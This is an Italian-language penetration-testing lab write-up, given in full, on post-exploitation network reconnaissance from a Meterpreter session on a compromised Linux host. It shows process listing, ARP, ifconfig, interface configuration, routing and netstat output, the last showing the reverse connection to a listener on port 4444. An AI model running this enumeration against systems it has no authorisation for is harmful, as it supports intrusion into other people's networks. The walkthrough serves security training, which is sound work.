root         2  0.0  0.0      0     0 ?        S<   11:42   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   11:42   0:00 [migration/0]
root         4  0.0  0.0      0     0 ?        S<   11:42   0:00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<   11:42   0:00 [watchdog/0]
root         6  0.0  0.0      0     0 ?        S<   11:42   0:00 [migration/1]
root         7  0.0  0.0      0     0 ?        S<   11:42   0:00 [ksoftirqd/1]
root         8  0.0  0.0      0     0 ?        S<   11:42   0:00 [watchdog/1]
root         9  0.0  0.0      0     0 ?        S<   11:42   0:00 [events/0]
root        10  0.0  0.0      0     0 ?        S<   11:42   0:00 [events/1]
root        11  0.0  0.0      0     0 ?        S<   11:42   0:00 [khelper]
root        46  0.0  0.0      0     0 ?        S<   11:42   0:00 [kblockd/0]
root        47  0.0  0.0      0     0 ?        S<   11:42   0:00 [kblockd/1]
root        50  0.0  0.0      0     0 ?        S<   11:42   0:00 [kacpid]
root        51  0.0  0.0      0     0 ?        S<   11:42   0:00 [kacpi_notify]
root        98  0.0  0.0      0     0 ?        S<   11:42   0:00 [kseriod]
root       142  0.0  0.0      0     0 ?        S   11:42   0:00 [pdflush]
root       143  0.0  0.0      0     0 ?        S   11:42   0:00 [pdflush]
root       144  0.0  0.0      0     0 ?        S<   11:42   0:00 [kswapd0]
root       186  0.0  0.0      0     0 ?        S<   11:42   0:00 [aio/0]
root       187  0.0  0.0      0     0 ?        S<   11:42   0:00 [aio/1]
root      1154  0.0  0.0      0     0 ?        S<   11:42   0:00 [ksnapd]
root     1352  0.0  0.0      0     0 ?        S<   11:42   0:00 [ata/0]
root     1353  0.0  0.0      0     0 ?        S<   11:42   0:00 [ata/1]
root     1354  0.0  0.0      0     0 ?        S<   11:42   0:00 [ata_aux]
root     1365  0.0  0.0      0     0 ?        S<   11:42   0:00 [ksuspend_usbd]
root     1387  0.0  0.0      0     0 ?        S<   11:42   0:00 [khubd]
root     2088  0.0  0.0      0     0 ?        S<   11:42   0:00 [scsi_eh_0]
root     2247  0.0  0.0      0     0 ?        S<   11:42   0:00 [scsi_eh_1]
root     2251  0.0  0.0      0     0 ?        S<   11:42   0:00 [scsi_eh_2]
root     2260  0.0  0.0      0     0 ?        S<   11:42   0:00 [kjournald]
root     2414  0.0  0.0  2216   652 ?        S<S  11:42   0:00 /sbin/udev --daemon
root     2713  0.0  0.0      0     0 ?        S<   11:42   0:00 [kpsmouse]
ntp      3455  0.0  0.0  4124  1236 ?        S<S  11:42   0:00 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 115:121 -g
root     3664  0.0  0.0      0     0 ?        S<   11:42   0:00 [kjournald]
daemon   3797  0.0  0.0  1836   520 ?        Ss   11:42   0:00 /sbin/portmap
statd    3813  0.0  0.0  1900   728 ?        Ss   11:42   0:00 /sbin/rpc.statd
root     3819  0.0  0.0      0     0 ?        S<   11:42   0:00 [rpciod/0]
root     3820  0.0  0.0      0     0 ?        S<   11:42   0:00 [rpciod/1]
root     3839  0.0  0.0  3648   564 ?        Ss   11:42   0:00 /usr/sbin/rpc.idmapd
root     4066  0.0  0.0  1716   492 tty4      Ss+  11:42   0:00 /sbin/getty 38400 tty4
```

Finita una serie di controlli per contestualizzare la macchina su cui ci troviamo, procediamo adesso a ricavare informazioni sulla rete in cui è connessa.

Avvieremo nuovamente una shell e procediamo in primis ad analizzare la tabella arp, nel caso specifico possiamo verificare la presenza del solo gateway, per cui già abbiamo scoperto essere l'unica macchina presente in quella sottorete.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
arp -a
? (192.168.32.1) at 08:00:27:4A:43:96 [ether] on eth0
```

Successivamente verifichiamo le configurazioni della scheda di rete lanciando prima un ifconfig e poi analizzando il file interfaces, in modo da identificare se si tratta di un indirizzo ip statico o se viene utilizzato un DHCP.

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.32.100
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feb4:8add
IPv6 Netmask : ::

meterpreter >
```

```
cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.32.100
netmask 255.255.255.0
network 192.168.32.0
broadcast 192.168.32.255
gateway 192.168.32.1
```

Verifichiamo la tabella di routing che sappiamo determina il percorso ottimale per l'instradamento dei pacchetti dati, indicando le rotte e le relative metriche

```
meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric  Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0       lo
192.168.32.100 255.255.255.0 0.0.0.0      0       eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric  Interface
-----
::1         ::           ::          0       lo
fe80::a00:27ff:feb4:8add ::           ::          0       eth0

meterpreter >
```


Infine lanciamo il comando netstat utilizzato per visualizzare le connessioni di rete aperte, inclusi i dettagli sul protocollo, gli indirizzi IP, i numeri di porta e i processi associati. Lo switch -tp specifica di mostrare solo le connessioni TCP e di includere le informazioni sui processi che gestiscono tali connessioni.

```
netstat -tp
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 192.168.32.100:44906    192.168.1.100:4444     ESTABLISHED 4844/java
```